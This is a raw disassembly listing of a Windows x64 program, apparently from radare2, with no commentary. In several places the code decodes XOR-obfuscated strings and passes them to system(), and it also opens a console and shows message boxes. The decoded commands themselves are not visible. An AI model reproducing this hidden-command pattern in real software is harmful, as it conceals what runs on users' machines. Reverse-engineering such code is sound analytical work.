vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
mov ebx, dword [0x7ff7382e30a0]
movss xmm6, dword [0x7ff7382d2bfc]
movss xmm7, dword [0x7ff7382d2bac]
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r9, qword [rbp + 0x40]
sub rcx, r9
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r8
jbe 0x7ff73824df3f
lea r8, [r8 + r8*4]
mov r8, qword [r9 + r8*8 + 0x20]
lea rdx, [rbp + 0x1000]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823e730
mov rcx, qword [0x7ff7392b7b20]
mov rdx, qword [rcx + 0x3ed8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xdc0], xmm0
lea r9, [rbp + 0xdc0]
movss xmm1, dword [rdx + 0x28]
unpcklps xmm1, xmm15
movq r8, xmm1
lea rdx, [0x7ff7382d1be0]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823bbc0
test al, al
je case.0x7ff73824cae2.5
movsxd rax, dword [0x7ff7392b8280]
cmp eax, 6
ja case.0x7ff73824cae2.5
lea rdx, [0x7ff738200000]
mov ecx, dword [rdx + rax*4 + reloc.ucrtbase.dll_free]
add rcx, rdx
jmp rcx
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d1c00]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
jmp case.0x7ff73824cae2.5
call qword [sym.imp.kernel32.dll_AllocConsole]
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7382d148c]
lea rcx, [0x7ff7382d1818]
call qword [sym.imp.ucrtbase.dll_freopen]
mov ecx, r13d
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7382d14b0]
lea rcx, [0x7ff7382d1820]
call qword [sym.imp.ucrtbase.dll_freopen]
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7382d14b0]
lea rcx, [0x7ff7382d1820]
call qword [sym.imp.ucrtbase.dll_freopen]
xor r9d, r9d
lea r8, [0x7ff7382d0c80]
lea rdx, [0x7ff7382d1c60]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxW]
movabs rax, 0x2e3456efbfcf5b26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xcb1d6ae1a5f8b3e6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x997345922a050fe2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rax, 0xc4f1040c08d0ad36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x68eec1cbe5390710
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x224b3485e7d5211d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x46a6cad317f97b66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rax, 0x20b4b5ba400f4013
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movabs rax, 0x83b9c1c4ba851068
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0x5a846396e98beb50
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rbx, 0x93b2677c7ba8c678
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x7e3843ea83bb484a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0xae89f8940ca2c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0x58d19be80544035c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
movabs rax, 0xe6d5a8b797a8300d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0x5a846396e98b9f3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x780]
vmovdqa ymmword [rbp + 0x6c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x6e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x700]
vxorps xmm0, xmm0, xmmword [rbp + 0x7c0]
vmovdqa xmmword [rbp + 0x700], xmm0
lea rcx, [rbp + 0x6c0]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movabs rax, 0x352450a684e11406
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0xfd233f99c79eb3e1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x860e60fe0a206fd2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x93b2677c1ed0a356
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa80], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa88], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa90], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xa98], rax
vmovdqu ymm0, ymmword [rbp + 0x2e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa80]
vmovdqa ymmword [rbp + 0x2e0], ymm1
lea rcx, [rbp + 0x2e0]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movss xmm0, dword [0x7ff7382e30dc]
mulss xmm0, xmm6
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xe8], xmm1
movss dword [rbp + 0xec], xmm2
lea rcx, [rbp + 0xe8]
call fcn.7ff738216090
movss xmm0, dword [r15 + 0x28]
mulss xmm0, xmm10
subss xmm0, xmm12
unpcklps xmm0, xmm7
movq r9, xmm0
lea r8, [0x7ff7382d1740]
mov rdx, rdi
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823c2f0
test al, al
je case.0x7ff73824cae2.5
mov dword [reloc.ucrtbase.dll_free], r14d
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
call fcn.7ff7382368c0
movsxd r8, dword [0x7ff7392b8280]
mov rcx, qword [rbp + 0x48]
mov r9, qword [rbp + 0x40]
sub rcx, r9
mov rax, rsi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, r8
jbe 0x7ff73824df39
lea r8, [r8 + r8*4]
mov r8, qword [r9 + r8*8 + 0x20]
lea rdx, [rbp + 0x1030]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823e790
mov rcx, qword [0x7ff7392b7b20]
mov rdx, qword [rcx + 0x3ed8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xdb0], xmm0
lea r9, [rbp + 0xdb0]
movss xmm1, dword [rdx + 0x28]
unpcklps xmm1, xmm13
movq r8, xmm1
lea rdx, [0x7ff7382d1d40]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823bbc0
test al, al
jne 0x7ff73824defb
movsxd rdx, dword [0x7ff7392b8280]
lea rcx, [rbp + 0x40]
call fcn.7ff73824e460
mov r8, qword [rax + 0x20]
lea rdx, [rbp + 0xf00]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823e790
mov rcx, qword [0x7ff7392b7b20]
mov rdx, qword [rcx + 0x3ed8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xda0], xmm0
lea r9, [rbp + 0xda0]
movss xmm1, dword [rdx + 0x28]
unpcklps xmm1, xmm13
movq r8, xmm1
lea rdx, [0x7ff7382d1d98]
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823bbc0
test al, al
jne 0x7ff73824def2
call fcn.7ff73820c210
mov ecx, r13d
call fcn.7ff738204c30
movss xmm6, dword [0x7ff7382d2ba8]
jmp 0x7ff73824d121
movss xmm0, dword [0x7ff7382e30dc]
mulss xmm0, dword [0x7ff7382d2bfc]
movss xmm2, dword [r15 + 0x2c]
subss xmm2, xmm0
movss xmm1, dword [r15 + 0x28]
mulss xmm1, xmm10
movaps xmm0, xmm1
subss xmm0, xmm12
mulss xmm0, xmm10
subss xmm1, xmm0
movss dword [rbp + 0xf0], xmm1
movss dword [rbp + 0xf4], xmm2
lea rcx, [rbp + 0xf0]
call fcn.7ff738216090
movss xmm0, dword [r15 + 0x28]
mulss xmm0, xmm10
subss xmm0, xmm12
movss xmm1, dword [0x7ff7382d2bac]
unpcklps xmm0, xmm1
movq r9, xmm0
lea r8, [0x7ff7382d1740]
mov rdx, rdi
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823c2f0
test al, al
je 0x7ff73824d121
mov dword [reloc.ucrtbase.dll_free], r14d
subss xmm9, dword [0x7ff7382d2bc8]
movss dword [rbp + 0xf8], xmm9
mov dword [rbp + 0xfc], reloc.ucrtbase.dll_free
lea rcx, [rbp + 0xf8]
call fcn.7ff738216090
lea rcx, [0x7ff7382e30c8]
call fcn.7ff73823d070
call fcn.7ff738211570
mov ecx, r13d
call fcn.7ff738204c30
call fcn.7ff73820b6f0
movaps xmm0, xmmword [0x7ff7382d2e00]
movups xmmword [rbp + 0xd88], xmm0
mov rcx, qword [0x7ff7392b7f48]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x7ff7392b7f18]
mov edx, r13d
call qword [rax + 0x108]
mov rcx, qword [0x7ff7392b7f48]
mov rax, qword [rcx]
lea r8, [rbp + 0xd88]
mov rdx, qword [0x7ff7392b7f18]
call qword [rax + 0x190]
call fcn.7ff738208670
mov rcx, rax
call fcn.7ff738237230
mov rcx, qword [0x7ff7392b7f20]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r13d
call qword [rax + 0x40]
nop
lea rcx, [rbp + 0x40]
call fcn.7ff73824e4b0
lea rsi, [0x7ff7382c498a]
jmp 0x7ff73824851f
call fcn.7ff738238500
call fcn.7ff738238840
mov rbx, qword [0x7ff7392b7b20]
mov qword [0x7ff7392b7b20], rbx
call fcn.7ff738206ab0
mov qword [0x7ff7392b7b20], r14
mov rcx, rbx
call fcn.7ff73821fbe0
call fcn.7ff73824e280
mov rcx, qword [rbp + 8]
call qword [sym.imp.user32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0x3c0]
call qword [sym.imp.user32.dll_UnregisterClassW]
xor eax, eax
jmp 0x7ff73824829a
jmp qword [sym.imp.ucrtbase.dll_terminate]
movabs rax, 0x3f3071efa1d85d10
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x180], rax
movabs rax, 0xc31843e6aaa6a5f8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
movabs rax, 0xba2442ce370977a7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x190], rax
movabs rax, 0xc6922e352ce5e651
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
movabs rax, 0x34a6e780e97b4b07
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a0], rax
movabs rcx, 0x7e3843ea83bb484a
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x5a403ecfd3bd2e45
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
movabs rax, 0xa7740cce8ac2c096
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movabs rax, 0xd44b2bbd456c2187
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x130], rax
movabs rax, 0x93b2677c7ba8c678
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x140], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x148], rax
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqa xmm2, xmmword [rbp + 0x140]
vxorps xmm2, xmm2, xmmword [rbp + 0x1a0]
vmovdqa xmmword [rbp + 0x1a0], xmm2
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x400]
vzeroupper
call fcn.7ff73824f670
mov rdx, rax
lea rcx, [0x7ff7392b7c10]
call fcn.7ff73825ee80
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x21]
call fcn.7ff73824df90
mov r10, rax
cmp byte [rax + 0x91], 0
je 0x7ff73824d573
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824d539
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x7ff73824d430
cmp r8d, 0x92
jge 0x7ff73824d573
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x7ff73824d540
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_system]
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x22]
call fcn.7ff73824e010
mov r9, rax
cmp byte [rax + 0x26], 0
je 0x7ff73824d720
cmp ebx, 2
jl 0x7ff73824d6e5
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r9
mov edx, dword [rbp + 0x10]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x7ff73824d5e0
cmp eax, 0x27
jge 0x7ff73824d720
movsxd r8, r14d
add r8, r9
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r14b
sub al, cl
add al, 0x36
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x7ff73824d6f0
mov rcx, r9
call qword [sym.imp.ucrtbase.dll_system]
xor ecx, ecx
jmp qword [sym.imp.ucrtbase.dll_exit]
movabs rax, 0x2e3456efbfcf5b26
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x180], rax
movabs rax, 0xc9106fe1a5f8b3e6
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x188], rax
movabs rax, 0xb03944de360545a9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x190], rax
movabs rax, 0xbcdf081f55d8b619
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x198], rax
movabs rax, 0x51b9ea88eb605308
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a0], rax
movabs rax, 0x4a0d72dbacc83c24
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a8], rax
movabs rax, 0x3cdda7bb73fc1c1b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1b0], rax
movabs rax, 0x77e6a3d83375356a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1b8], rax
movabs rax, 0xd7ec9887a39d013c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x62b65ba0dbbaac09
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1c8], rax
movabs rax, 0xd86a3208be6d2f7e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xebb411c12b3c46e9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1d8], rax
movabs rax, 0xf1882384df7071b1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x9b0fe65f93d5f9bd
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e8], rax
movabs rax, 0xf337dbf4c7cc667a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x3f57a67e0a97a317
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f8], rax
movabs rdi, 0x5a403ecfd3bd2e45
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaa0], rax
movabs rsi, 0xa7740cce8ac2c096
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaa8], rax
movabs r14, 0xd44b2bbd456c2187
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0xab0], rax
movabs rbx, 0x93b2677c7ba8c678
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xab8], rax
movabs rax, 0x34d482eb8a142769
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xac0], rax
movabs rax, 0x7e3843ea83bb484a
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xac8], rax
movabs rax, 0xae89f8940ca2c2b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad0], rax
movabs rax, 0x58d19be80544035c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xad8], rax
movabs rax, 0xe6d5a8b797a8300d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae0], rax
movabs rax, 0x5a846396e98b9f3e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xae8], rax
movabs rax, 0xb62b5b45915e1f4f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaf0], rax
movabs rax, 0x849931a453596880
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xaf8], rax
movabs rax, 0x95e64ad3834a3291
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb00], rax
movabs rax, 0xf54e8f12cfa68ed2
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb08], rax
movabs rax, 0xde1afb91bfa94813
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb10], rax
movabs rax, 0x3f57d2106ffbca64
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb18], rax
vmovdqu ymm0, ymmword [rbp + 0xaa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x180], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xac0]
vmovdqa ymmword [rbp + 0x1a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xae0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb00]
vmovdqa ymmword [rbp + 0x1e0], ymm1
lea rcx, [rbp + 0x180]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
movabs rax, 0x352450a684e11406
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x120], rax
movabs rax, 0xce1a4da7c79eb3e1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x128], rax
movabs rax, 0xd44b2bbd201444a9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x130], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x138], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x400], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x408], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x410], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x418], rax
vmovdqu ymm0, ymmword [rbp + 0x400]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x120], ymm1
lea rcx, [rbp + 0x120]
vzeroupper
call qword [sym.imp.ucrtbase.dll_system]
xor ecx, ecx
jmp qword [sym.imp.ucrtbase.dll_exit]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x22]
call fcn.7ff73824e050
mov r10, rax
cmp byte [rax + 0x7e], 0
je 0x7ff73824dd30
mov r8d, r14d
cmp ebx, 2
jl 0x7ff73824dcf3
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x7ff73824dbf0
cmp r8d, 0x7f
jge 0x7ff73824dd30
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7f
jl 0x7ff73824dd00
mov rcx, r10
call qword [sym.imp.ucrtbase.dll_system]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x21]
call fcn.7ff73824e0d0
mov r9, rax
cmp byte [rax + 0x14], 0
je 0x7ff73824dee0
cmp ebx, 2
jl 0x7ff73824dea5
movdqa xmm5, xmmword [0x7ff7382d2ca0]
movdqa xmm4, xmmword [0x7ff7382d2e20]
mov eax, 4
movd xmm6, eax
